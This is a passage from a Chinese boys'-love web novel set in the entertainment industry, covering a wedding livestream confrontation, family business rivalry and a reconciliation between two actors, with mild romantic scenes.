商璘洗干净手上的血,没理会伏越泽,也没理会许兰因,从卫生间出去,许兰因愣了愣,立刻追上去,可怜巴巴地喊:“小璘哥,你等等我呀……”
伏越泽抿紧了唇角,站在雪白的卫生间里,忽然觉得有些好笑。
本来是想好好跟商璘吃顿饭的,怎么闹成这样。
“小伏总。”周鹤在门口探头看了眼,问:“需要我帮你叫急救车吗?”
“……”伏越泽说:“滚。”
周鹤有点惊讶。有教养讲礼貌据说对每一任床伴都很体贴的小伏总现在是在叫他滚吗?
这可真是开到隐藏款了。
不过周鹤没滚,而是走进去带上门,用湿纸巾慢慢擦去伏越泽脸上的血迹,道:“这副样子应该很难见到第二次,好想拍照留念。”
伏越泽警告道:“你试试。”
“看气氛这么紧绷,我开个玩笑而已。”周鹤说:“你可是伏越泽,我哪敢呀。”
他拍拍伏越泽的肩膀,“还是去医院看看吧?一身的伤,小心脑震荡。”
伏越泽推开了他的手往外走,周鹤慢悠悠道:“小伏总,十年了,不觉得太晚了吗?”
伏越泽脚步一顿。
是啊,十年了。
当初选择联姻,选择离开商璘,他没觉得自己会后悔。
他这一生太忙了,哪有那么多时间去情情爱爱。生来富贵,家世显赫,想要什么没有?所以失去了什么也不会觉得遗憾。
事实上刚结婚那段时间,他还和自己的新婚妻子去北欧某个小岛度了个蜜月,之后正式进入公司工作,家庭美满,事业顺利,他一次都没有想起商璘。
渐渐地他甚至都要忘了还有这样一个人存在过。
直到某次应酬喝多了,他迷迷糊糊打电话叫人来接,电话里只有一阵忙音。南方城市的冬天并不算太冷,但他站在叶片枯黄的行道树下,凉风卷过落叶和他,一瞬酒醒,他才意识到自己拨通的是商璘的号码。
而商璘把他拉黑了。
伏越泽不知道自己怎么想的,就固执地一次次去拨打那个号码,明知道不会再接通,明知道不会再听见商璘的声音,但他还是不肯放弃,打了上百个无法接通的电话。
霓虹灯闪烁不休,立交桥车水马龙,伏越泽忽然将手机砸在地上,深深地吸了口气。
就算是那时候,在萧萧落叶和刺骨寒风里,他也没后悔。
最多只是有些恼怒。
为商璘的干净利落,冷静绝情。
于是就这样将近十年时间匆匆逝去,此时此刻,早已物是人非的时候,他才对商璘说出了后悔。
可是后悔什么?
就算许兰因当时没有来,他真的能把未能出口的话说出口,在商璘心中成为一个卑劣的、彻彻底底的失败者吗?
周鹤问他十年了,不觉得太晚吗。
可有些感情太重,有些人太凉薄,就是要十年的时间才能明白,年少时候错过的究竟是什么。
伏越泽没回答周鹤的问题,离开了卫生间。
周鹤觉得无趣,拿出手机垂眸发了两条消息出去,喃喃道:“事情可比想象中要顺利呢。”
……
商璘送尹佳阳回家。
尹佳阳好不容易鼓起勇气:“你揍许兰因啦?我看他的脸好像……”
商璘说:“没有。”顿了顿,又补充:“百分之二十。”
剩下百分之八十是伏越泽打的。
“虽然我是挺讨厌他的,但是他在你面前作我都已经习惯了,你也用不着揍他啊。”尹佳阳咳嗽一声,“他又要把账算我头上。”
商璘:“跟你没有关系,不要多想。”车子停下,他给尹佳阳解开安全带,说:“我送你上去。”
“都到这里了你还不放心啊。”尹佳阳失笑,他走下车摆摆手,“快回去吧。”
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商璘说我看着你走。
尹佳阳走出去几步,又折回来,认真地跟商璘说:“阿璘,你不要来照顾我,我把那些乱七八糟的软件卸掉后心情好多了。你来找我,许兰因就作天作地,残疾人出门挺不容易的,别折腾了。”
商璘想说许兰因还没到残疾的地步,但想想尹佳阳难得在跟许兰因的对决里让步,便点了点头。
“佳阳。”
“嗯?”
“你为什么讨厌许兰因?”
“哈?”尹佳阳不可置信:“讨厌许兰因还需要理由?”
“不论爱恨,总有理由的。”商璘这样说。
尹佳阳撇嘴,“自恋,自大,任性,没礼貌,神经病,脾气烂,心机多……除了一张脸还能看,我想不到他有什么优点。”
商璘:“ 如果是因为这些,你不会那么讨厌他。”
这次尹佳阳沉默了好一会儿,他趴在车窗上,看着商璘的眼睛,慢慢道:“阿璘,你还记得我们遇见的那个小姑娘说的话吗?”
“我也那样觉得。”
“你太好了,许兰因配不上你。”
商璘失笑。
他拍拍尹佳阳的脑袋,温声说:“好了,回去睡觉。”
等看着尹佳阳进电梯,商璘才开车回去。他特意绕路,回到家的时候已经将近十一点了。家里黑漆漆的,没开灯。商璘微怔,许兰因没回来?
也是,他挨了打,又被丢下,不回来才正常。
商璘刚要开灯,忽然衣袖被人抓住了,商璘这才意识到有人一直坐在地毯上。
“别开灯。”许兰因声音闷闷的。
商璘问为什么,许兰因语气很差:“反正不准开灯。”
商璘才不听他的,抬手将客厅里的开关全部按了,漆黑的空间瞬间亮如白昼,商璘终于看见许兰因拖着他打了石膏的腿坐在羊绒地毯上,眼圈通红,满脸眼泪。
因为商璘不听他的,他长睫毛一颤,眼泪珠子就又掉下来了。
商璘:“……”
许兰因抱住他的腰,将满脸的眼泪都蹭在他衣服上,好像受了天大的委屈,控诉说:“小璘哥,你竟然为了付伏越泽打我。”
26.第 26 章
商璘垂眸看着他,“我打伏越泽的时候你眼瞎了?”
“我不管。”许兰因无理取闹,抽噎着说:“你要无条件站在我这边。”
商璘沉默了一会儿,半跪下身,“为什么忽然冲过来打伏越泽?他是你老板,知道他想要搞你的话你会有多麻烦吗?”
“他当时不是在欺负你吗?”许兰因道:“他看你的样子就像是狗看着肉。”
顿了顿又说:“我不怕他。”
商璘看他这孩子气的样子,最终叹了口气,“以后真的不要这样了。你不知道伏越泽他……”
其实并没有表面上看着那么温和好说话。
他并不是千娇百宠养大的温室花朵,所以很多手段都可以称得上低劣。许兰因现在确实是顶流,但终究斗不过资本,商璘不想他们真的撕破脸。
“你很了解伏越泽吗。”许兰因问。
商璘没回答。
和伏越泽同学四年,认识了十几年,应该算是了解的,但是说了许兰因又要闹,于是他决定闭嘴。
许兰因不哭了,脸色却更难看。商璘扶他起来,他也不肯,自己一瘸一拐坐到了沙发上。
商璘没当回事——许兰因不作才不正常。
之后几天,商璘都很担心伏越泽会伺机报复,但伏越泽那边一点动静没有。商璘还跟苏纭旁敲侧击了一下,结果苏纭说伏越泽一切正常,唯一奇怪的地方大概就是他不知道被谁揍了一顿,脸上青青紫紫好几天才消下去。
商璘觉得有些奇怪。
伏越泽不是这样宽宏大量的人。
不过很快,他就知道原因了。
伏越泽不是不找许兰因的麻烦,而是根本没空找许兰因的麻烦。
家里老人病情加重进了ICU,恐怕时日无多,伏越泽又不知道为什么跟老伏总吵了一架,父子两闹得很僵,也有不少小道消息,说老伏总要把禾光交给大儿子伏轲,杀杀伏越泽的锐气。
虽然不知道这个小道消息是真是假,但商璘觉得,如果禾光真的交到伏轲手里,那就距离倒闭不远了。
商璘跟这位伏家的大少爷见过几次面,仅限于打个招呼的认识。听说他是老伏总年轻时候搞出来的私生子,伏越泽两三岁的时候才被亲妈领着找上门,虽然不成器,但十分得宠,要不是因为伏轲实在没有管理公司的本事,禾光应该也不会交给伏越泽。
禾光可以说是伏越泽一手拉扯起来的,现在步上正轨,蒸蒸日上,老伏总就想要从伏越泽手里抢走塞给伏轲,这当爹的还真是偏心到了姥姥家。
“小璘哥。”许兰因撑着拐杖进来——他已经可以借助拐杖行动,成天咚咚咚地在家里走来走去,商璘梦里都是这声儿。
商璘转过头,见他已经换好了正装。
许兰因平常总爱穿些休闲风的宽松衣服,一看就是还没毕业的大学生。这会儿一身剪裁合身的黑色西装,宽肩窄腰长腿,像是要去T台走秀。
他靠在门边,姿态懒散,光从窗外打进来,高挺的鼻梁像是一道分界线,半张脸明半张脸暗,也只有这种时候才能看出,因为眉骨高而眼窝深,他的眉眼其实生的相当凌厉,不笑的时候冷冰冰的,令人背后发寒。
商璘从他手中接过领带,许兰因温顺地低下头,方便商璘给他打领带,嘟嘟囔囔地说:“我要走了哦?你自己好好待在家里不要去见奇怪的人。”
“奇怪的人”是指谁不言而喻。
商璘给他整理了一下衣领,“赶紧走。”
许兰因:“亲一下再走。”
“……你是小学生吗?”
许兰因杵在原地不动。他自己不走,也不让商璘出去。商璘没辙,只好亲了下他的脸颊,推着他往外走,“待会儿迟到了。”
“又不是我结婚,那么着急干嘛。”
商璘把他推出门,“少喝点酒,早点回来。”
说完就砰一声关上了门。
许兰因看着面前的门板,挑了下眉。
觉得好像早上起来妻子送丈夫出门上班哦。
于是他翘着唇角慢悠悠下楼,罗旭已经开着车在等了,见他一路春风得意,不由调侃:“你跟曾翰什么时候关系这么好了,他结婚你乐成这样。”
许兰因:“谁为那傻逼高兴。”
“你果然没说错,前几天伏靖派了人到处打听若姐的下落。好在我早就送她出国了,要是被伏靖的人找到,若姐八成要脱层皮。”
许兰因唇边的笑意消失,轻嗤一声。
“伏靖在给儿子收拾烂摊子呢。”罗旭说:“卖了好几套房。都动房产了,可见伏家确实已经外强中干。”
许兰因:“所以盯上了禾光?”
“早年伏轲把禾光丢给伏越泽的时候,根本就想过他能搞出什么名堂。”罗旭讥诮道:“谁知道伏越泽有点本事,真搞得像模像样,现在为了给大儿子填窟窿,又想从伏越泽手里把这块肥肉抢走。”
“本来伏靖想要拿走禾光没那么容易,禾光的最大股东不是他。”罗旭耸耸肩,“伏靖想靠伏越泽去老太太那里刷好感,结果他和周鹤的事儿漏了风声,老太太现在见都不肯见他。伏靖如意算盘落空,但也不是没收获。”
“原本有老太太在,禾光当然是稳稳握在伏越泽手里的。但现在伏越泽在老太太那儿失了宠,想要趁机夺走禾光就容易多了。想必伏越泽正在为这件事焦头烂额。”
许兰因懒洋洋说:“小伏总能干,未必不能力挽狂澜。”
罗旭瞥他一眼,“要是没你,他当然能力挽狂澜。”
许兰因没回这话,漫无目的地想着今晚回去商璘会给他做什么好吃的。应酬的时候他吃不好,回家后商璘就会给他开小灶。要不要提前许愿呢?商璘应该不吝于满足他这小小的愿望。
“兰因。”罗旭忽然说:“你有什么打算吗?对未来的。”
许兰因随口回答:“在准备拍新戏啊。”
苏纭之前给他的剧本,他又翻出来认认真真看了一遍,虽然有些剧情他不太能接受,但苏纭说如果这部剧反响好,公司可能会改变主意。
罗旭表情复杂:“……你还要拍戏?你不是讨厌当演员吗,更别说还是……”
许兰因一愣。
曾翰这婚期选的不好,天阴沉沉的,眼看着要下雨,车子驶过跨江大桥时,果然有雨水跌落,江面上一片薄雾,一切都模糊不清,唯有各色灯光穿透雾霭,明亮得几乎刺眼。
“哦。”许兰因说:“我忘了。”
他看着窗外的雨,脸上又是那种漫不经心的笑意,“这些话是用来骗人的,说多了,自己都觉得成了真。”
……
曾翰是圈内一线,婚礼上自然众星云集。
他的妻子是他的生活助理,两人认识多年,算是终于修成正果,来宾纷纷送上祝福,娱记的镁光灯更是不停闪烁。
也不知道是想要留作纪念还是想要彻底跟那些流言摆脱关系,这场婚礼是全程直播的,许兰因一进去就被一堆摄像头怼脸,脸色不太好,新郎忙来招呼他,许兰因也没想砸人家场子,敷衍地说了几句祝贺的话,就找了个角落里的位置窝着。
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他拍了几张照片发给商璘,百无聊赖地跟他有一搭没一搭地聊天——之所以有一搭没一搭,是因为商璘很久才回一条,让许兰因有点郁闷。
商璘明明以前都秒回他的。难道在跟那个相亲对象聊天吗?
刚想到这里,忽然一阵掌声和尖叫响起,许兰因抬起头,就见新娘出来了。
他对曾翰这个助理没什么印象,只记得她挺任劳任怨的,照顾曾翰简直就像是照顾自己的亲儿子。
司仪讲了一堆吉祥话,而后就是新郎新娘交换戒指的环节。曾翰忽然道:“我想邀请我生命中最重要的人来读证婚词可以吗?”
“当然可以。”司仪道:“这么重要的时刻当然要由最重要的人来见证。”
大家都以为曾翰说的人会是自己的父母亦或者兄弟姐妹,谁知道他转过头看向人群,笑着说:“佳阳,我想请你来念我的证婚词,你愿意吗?”
瞬间,几乎所有人的视线、所有的摄像头,都对上了人群之中戴着口罩的尹佳阳。
直播间里尹佳阳的眼神怔愣,转头避开摄像头,神色有些难堪。
不管是宾客还是直播间里的粉丝,都没想到尹佳阳竟然真的会来参加曾翰的婚礼。
形形色色的人,形形色色的目光,尹佳阳攥紧了手指,几乎将自己的嘴唇咬出血。
许兰因啧了声。
曾翰这人……做事还真是绝情得很。明知道尹佳阳喜欢他,他还要尹佳阳当他的证婚人,以此告知大众他和尹佳阳确实只是“合作伙伴”。
“我……”尹佳阳喉头苦涩,良久才开口:“我可能做不好。”
曾翰说:“我们可是最好的朋友,我结婚你不当证婚人谁来当?”他对尹佳阳伸出手,“上来吧。”
尹佳阳想要转身就走。
可那么多的视线,那么多镜头,他要是走了,肯定会搞砸曾翰的婚礼。
他只是来看看,没想破坏曾翰的人生大事。
曾翰知道尹佳阳一定会妥协,他就是那种瞻前顾后为人着想的性格,因此半点不担心尹佳阳会翻脸,甚至笑着又说了句:“不会还要我抱你上来吧?”
“……”尹佳阳垂下眼睫,站起身,慢慢走向舞台。
他做了那么久的演员,还是不习惯他人的注视,明明那么短的一截路,他却觉得无比漫长,无数窃窃私语涌入耳中,令他脚步越发沉重。
尹佳阳想,明明之前说连朋友都不要做了,怎么现在,我又是你生命中最重要的人,最好的朋友了呢。
如果你想要从舆论中脱身,我可以退圈的。
原来昨天打了几百个电话让我今天来参见你的婚礼,是为了这个啊。
你为什么非要这样呢。
尹佳阳喃喃说:“你为什么非要,搞得这么难看呢。”
但曾翰真的太了解他了。
他确实没办法转头离开,他只能一步步硬着头皮向前走。
就在尹佳阳踏上台阶的前一秒,忽然有人一把抓住了他的手。尹佳阳错愕抬头,看见冷着脸的商璘。
他应该是一路跑来的,额头上还有细汗,本来就是不好接近的长相,这会儿看着完全就是来砸场子的。
“阿璘……”
商璘没说话,拉着他的手往外走,曾翰一愣,喊了声:“佳阳!”
人群躁动,交头接耳,不知道这又是唱的哪一出。
商璘感觉到尹佳阳的手指在发抖,他更紧的抓紧尹佳阳,转头看向曾翰,冷冷说:“傻逼。”
声音不大不小,刚好够曾翰听到。
27.第 27 章
曾翰脸色骤变。
他让尹佳阳来参加婚礼,就是想要向公众表明他和尹佳仍是朋友,为此还专门请了人来直播。
现在除了一些不怕死的十八线,爱护羽毛的演员根本不敢跟他搭戏,曾翰也为自己的一时冲动后悔过。虽然尹佳阳喜欢他这件事把他恶心了个够呛,但不应该闹那么难看的,搞得双方都下不了台。
但事已至此,曾翰只能一条道走到黑,彻底跟过去一刀两断。商璘这时候带走尹佳阳,他的算盘就全白费了。
“佳阳。”曾翰努力让自己的声音听起来平静一些,“我们那么多年的感情……”
“那么多年的感情,直到现在你都还在算计利用他。”商璘道:“曾翰,你但凡有点良心,都不会给佳阳送婚礼请柬。”
当初曾翰混不下去准备退圈,是尹佳阳选择了他,带他走向鲜花和掌声,只可惜世上人大多忘恩负义。对他好的时候感动得稀里哗啦,多好听的话都说得出口,时间一久,那点好就如东流水,尽数逝去了。
“……这是我们的事。”曾翰说:“那么多摄像头,你要是带走尹佳阳,营销号会怎么写你?”他放软了语气,“商璘,你的一举一动都有那么多人看着,别做会让自己后悔的事。”
尹佳阳声音沙哑:“阿璘,只是念个证婚词,我可以的。”
曾翰虽然做法卑劣,但他说得没错。
商璘不该卷进来,被口诛笔伐。
“只要做过的事,我都不会后悔。”商璘淡声说。
他拉着尹佳阳转身就走,曾翰失声:“佳阳!”
“小璘哥。”许兰因沉着脸,一把拉住了商璘,他知道此刻究竟有多少双眼睛在看着多少双耳朵在听着,声音很轻:“不要。”
曾翰和尹佳阳的破事本来就吵得厉害,商璘把尹佳阳从曾翰的婚礼现场带走,很容易被人往三角恋的方向引导,到时候事情更难收场。
没必要为了一时意气被舆论裹挟,最终溺死在这深潭里。
商璘抿唇。
他纤长的眼睫有点微不可查地颤抖,问许兰因:“为什么呢。”
许兰因说:“不是你的因果,你没必要挺身而出。忍忍吧。”
商璘慢慢、慢慢将自己的手抽回来。
他想,倘若这是许兰因的婚礼,倘若许兰因也笑着要他当证婚人,他会怎么样?
他或许也会像尹佳阳那样,被这样那样的理由推搡着不得不往前走。
而在那段越走越绝望的路上,他会希望有人能神兵天降,带他短暂逃离这窒息的人间。
曾经许兰因是那个人。
现在他说,“忍忍吧。”
指尖从许兰因手心滑脱,他下意识想要抓回来,商璘却已经拉着尹佳阳向宴会厅外大步而去。
“……商璘!”
商璘没有回头。
他带着尹佳阳走出酒店,其实一时间也不知道要去哪里,转头想要问问尹佳阳,才发现一路上他一直在哭。
无声无息地掉眼泪,明明三十多岁的人了,哭得像个走路都蹒跚的孩子。
商璘不会安慰人。
他只好用力抱了尹佳阳一下。
尹佳阳用力擦了把眼泪,哽咽说:“你怎么能背着我偷偷参加曾翰的婚礼。”
“……”商璘说:“你说你不来的。”
“是啊,我说不来的。”尹佳阳在马路边蹲下身,边哭边说:“可是昨天曾翰给我打了两百六十七个电话,我能怎么办。”
“明知道他是个人渣,我还是没法拒绝他。”
商璘心口尖锐地一痛。
他说不出劝解尹佳阳的话,在旁边默默站着,看尹佳阳哭。好一会儿,他伸手拉尹佳阳,“我送你回去。”
尹佳阳顺着他的力道站起来,“我不想回家。”
商璘问他想做什么。
尹佳阳说想去喝酒。商璘就点头。
他把手机关机,不接任何人的电话也不看任何人的消息,带尹佳阳去喝酒。
尹佳阳喝不了多少就醉,趴在吧台上嘀嘀咕咕说些谁也听不懂的话。酒保忍不住劝:“璘哥你都不劝劝他啊。”
商璘摇头。
喝醉了也好。喝醉了今夜才睡得着。
商璘叫了代驾送尹佳阳回家,到了尹佳阳住的公寓门口,他脚步一顿。
许兰因杵着拐杖站在门边,指间夹着根烟,已经烧到尽头,脚边还有不少烟头,不知道已经在这里等了多久。
过道里的感应灯昏暗,商璘没能看清楚他脸上的表情,只有他手指尖那点橘红色的火星格外晃眼。
还是许兰因先开的口:“苏姐说打不通你电话。伏越泽也在找你。”
商璘在从宴会厅带走尹佳阳的那一刻就知道会这样,并不意外。这件事也会对许兰因造成不小的影响,于是他说:“我稍后给他们回电话。麻烦你来这里找我,对不起。”
“那些都不重要。”许兰因熄灭烟头,瞥了眼酩酊大醉的尹佳阳,难得正经:“小璘哥,
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为什么非要做到这一步。”
“没人逼他去参加曾翰的婚礼,是他自己做出的选择。你跟我说过,成年人总要为自己的选择付出代价。曾翰确实卑鄙,但去当个证婚人又能怎么样?”
商璘手指蜷缩了一下。
他无法回答许兰因的诘问。
因为感同身受?因为想要拯救未来某一刻的自己?……没必要说这些。许兰因永远不会明白。
“小璘哥。”许兰因逼近两步,商璘甚至听见了他有些急促的呼吸声。许兰因问:“你这样维护尹佳阳,是因为喜欢他吗?”
商璘一愣。
“……你怎么会这样想?”
许兰因扯了下唇角,“因为你就是这样的性格。”
只要有人对你好,你就要掏心掏肺地报答。
商璘推开许兰因,用尹佳阳的手指开了指纹锁,“别胡思乱想。”
“小璘哥。”许兰因哑声问:“你就没想过我会难过吗。”
商璘一怔。
他说:“抱歉啊兰因。之后我会跟大家解释的,肯定不会牵累到你……”
许兰因打断他:“谁跟你说这个。”
他咬着牙质问:“你把我丢在那里,带着尹佳阳离开,就没想过我会难过吗?你知道有多少人来问我我们是不是真的拆了吗?我明明一直在努力,努力想要公司收回这个决定,但是你……”
商璘很早之前就知道,许兰因真正难过的时候,反而不会掉眼泪。
他将尹佳阳放在沙发上,这才转头看向许兰因。
许兰因固执地站在门口,不肯进来。
商璘朝他走过去,伸手抱住他,拍了拍他背,像是哄小孩子那样:“对不起。”
“就只有对不起吗?”许兰因说:“他们都说你不要我了。”
“小璘哥,你别不要我。”
“……”
商璘心底最后一道防线彻底崩坍。
明明才从曾翰的婚礼上带走崩溃的尹佳阳,明明知道这段感情不可能善终,明明说着要离开要离开……
可许兰因说,小璘哥,你别不要我。
商璘活了三十一年,不短也不长,但他想,这辈子不会再有什么人什么事,让他这样输得一败涂地。
倘若这一刻暴风骤雪,世界末日,他也愿意握着许兰因的手一起死在这里。
“……我怎么会不要你。”商璘捧住许兰因的脸,吻住他苍白的唇,声音轻得只有他自己能听见,“我那么爱你。”
28.第 28 章
商璘很少会主动吻他,所以许兰因愣了好几秒,才忽然反应过来似的,扣住商璘的后脑勺,将人按在冰冷的墙壁上更深地亲吻。
拍《单向奔赴》的时候,许兰因看见剧本里写的吻戏,一张脸青青紫紫像个调色盘,研究半天吻的时候也就只轻轻碰了下商璘的嘴唇。导演在旁边看得直皱眉头,说你这样哪像是个游戏人间的花花公子,高中生都没你纯情。
但许兰因那会儿确实纯情。
他连姑娘的手都没牵过,更别说是跟男人接吻了。首先心理上这一关就过不去。卡了好几条后气得导演亲自下场,按着许兰因的脑袋跟商璘亲,然后十八岁出头力大无穷的许兰因就掀翻导演跑去卫生间吐了。
商璘虽然也没有这方面的经验,但他还是先安抚了导演让他别骂人,自己去卫生间外面等许兰因出来。
许兰因跟他说对不起,眼圈红红的,脸上全是水,像只落水的小狗。
商璘本来也不是爱发脾气的人,看见他这样子,更是说不出什么重话,抽了纸巾给他擦干净脸上的水,两人相顾无言,气氛尴尬。好一会儿许兰因问他:“你怎么能接受我亲你的。”
商璘想说其实我也不能接受,但许兰因已经自顾自继续问了:“你以前跟男的亲过吗?”
“你以前交过男朋友吗?”
“你男朋友不介意你跟我拍吻戏吗?”
“……”
商璘一句话没说,他已经逼逼了一大堆,也是那时候商璘才知道许兰因话这么多。但是再多的话也总有说完的时候,再想逃避的事情也逃不过。
吻戏还要拍,导演那关也要面对。
最后的解决办法是商璘跟导演商量把吻戏往后挪,他先跟许兰因培养下感情。
那段时间,商璘一直在充分学习各种理论知识然后再跟许兰因实践,可以说许兰因的吻技是他一手教出来的,但商璘没想到许兰因远比他有学习天赋,尤其是这方面突飞猛进。
当初碰一下舌头都要吐得天昏地暗的人这会儿却可以缠着他、追着他,要将他的舌尖叼进自己嘴里。
公寓里没有开灯,过道的感应灯也忽明忽暗,商璘看不清许兰因的表情,只有缠绵湿黏的水声响在耳际。许兰因的手探进商璘衣摆,扣住他柔韧的腰,手指在光滑的肌肤上轻轻摩挲,商璘一颤,抓住他的手,含糊说:“痒。”
许兰因低头贴着他心口,“小璘哥,你心跳好快。”
商璘:“……那是因为喘不过气。”
许兰因站直身体,瞬间比商璘高出许多,他垂眸亲了亲商璘眼皮上那颗黑色的小痣,小声说:“小璘哥,你这里也有颗痣呢。”
商璘抬起眼皮,“你现在才发现?”
粉丝们总说他俩这是“姻缘痣”,是上辈子的爱人约定了来世再见的印记。网上有好几个前世今生的cp向视频播放量特别高,是他俩cp的“入圈圣经”。
商璘觉得这说法蛮好笑,但两个人在一模一样的位置生了一模一样的痣,确实是说不清道不明的缘分。
当初他从一堆人里挑中许兰因,也是因为这颗痣。
“以前就知道。”许兰因说:“我还看过那些视频呢。”
商璘不以为意:“那又……”
“还有她们写的同人文。”许兰因继续说:“很多写得可刺激了,在她们笔下你得给我生八个。”
“?!?”商璘大受震撼,一把推开还在亲他眼皮的许兰因,“……什么?”
“蛮多体位真是挺猎奇的,人真的能做到吗?”
“等等……”
“而且她们老爱写你哭,我都没见过你哭。小璘哥,你床上会哭吗?”
“许兰因你能不能闭嘴。”
“而且为什么百分之八十都有生子啊?男人不能生孩子的吧?”
商璘:“……你能不能多看点正经书。我要把你网盘注销。”
许兰因:“我还有很多图……”
商璘捂住了他的嘴。
他耳根通红,好在光线昏暗并不明显。许兰因又要故技重施,商璘警告:“舔我手我就把你舌头拔了。”
许兰因只好作罢。
商璘深吸口气,整理了一下被许兰因弄乱的衣领,许兰因还要凑过来亲他,商璘说:“想死吗,被人看见怎么办。”
许兰因脱下外套罩在两人头顶,将商璘的手按在墙壁上,在这黑暗的小小一隅细细密密地吻他。
最后商璘都忘了是怎么回去的。
第二天醒来的时候看见许兰因在自己怀里他也挺茫然。虽然没有酒后断片的恶习,但从尹佳阳那里回来后的记忆都不太明晰。
不是第一次和许兰因睡一张床,商璘还算淡定,见他睡得熟,便轻手轻脚将人推开,自己下床,打开关机的手机,果然全是未接来电和未读消息。商璘按了按太阳穴,去阳台给苏纭打电话。
当然是
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被苏纭骂了个狗血淋头。
苏纭早就警告过商璘不要公开介入尹佳阳和曾翰的事情,结果他直接在婚礼上把人带走了,现在舆论满天飞,营销号的脸都要笑烂了,编造各种三角狗血恋情。
商璘跟苏纭道歉。
苏纭说:“我本来以为你会比许兰因省心很多,结果你是一声不吭给我憋个大的啊?你是嫌我处理许兰因的破事儿还不够折寿吗?”
商璘:“……对不起。”
“你确实比许兰因强,起码你知道道歉。”苏纭叹气,“我知道你和尹佳阳是很好的朋友,但是阿璘,在娱乐圈混了这么多年,你明明一直很能忍,为什么这次这么冲动?”
商璘没说话。
“行,你又不想说。”苏纭了解他,只要商璘不想开口,那就谁也问不出来。“这件事我会处理,你别再掺和了。现在你和兰因在一起?”
商璘说是。
“我让小唐过去接你们,你们都别在这里待着了,一堆狗仔等着蹲你们。”苏纭说:“正好临时有个活动,在隔壁D市,你们过去待两天。具体事宜小唐会跟你们说。”
挂断电话,商璘才后知后觉有点冷,他进客厅想要找件外套,忽然听见厨房里传出一阵叮叮当当的声音。
商璘进去一看,许兰因正靠在灶台边上,旁边的小奶锅噗嘟噗嘟不知道在煮什么。
真难得,许兰因竟然在煮东西。
商璘问:“做的什么?”
“醒酒汤。”许兰因转过身,慢悠悠说:“你昨天喝了多少酒啊,我亲你都觉得醉了。”
商璘:“是吗,我忘了。”
许兰因逼近一步,“这你都能忘?你还说以后要是我跟尹佳阳吵架你肯定帮我,这你也忘了?”
“……”商璘推开他的脑袋,“我不可能说这种话。”
“明明还记得。”许兰因哼哼唧唧:“再亲一下。”
商璘:“不。”
许兰因:“你昨天抛弃我自己走掉,我真的很难过,你现在亲都不让我亲了,小璘哥,你怎么这样始乱终弃?”
这件事他是要念叨一辈子吗?
商璘无比头痛,只好任由许兰因又凑上来亲他,求他闭嘴。亲着亲自许兰因手往他衣服里摸,商璘一把抓住,面无表情说:“许兰因。”
“干嘛。”许兰因撇嘴,“又要说不行?”
“我是想说。”商璘道:“你醒酒汤糊了。”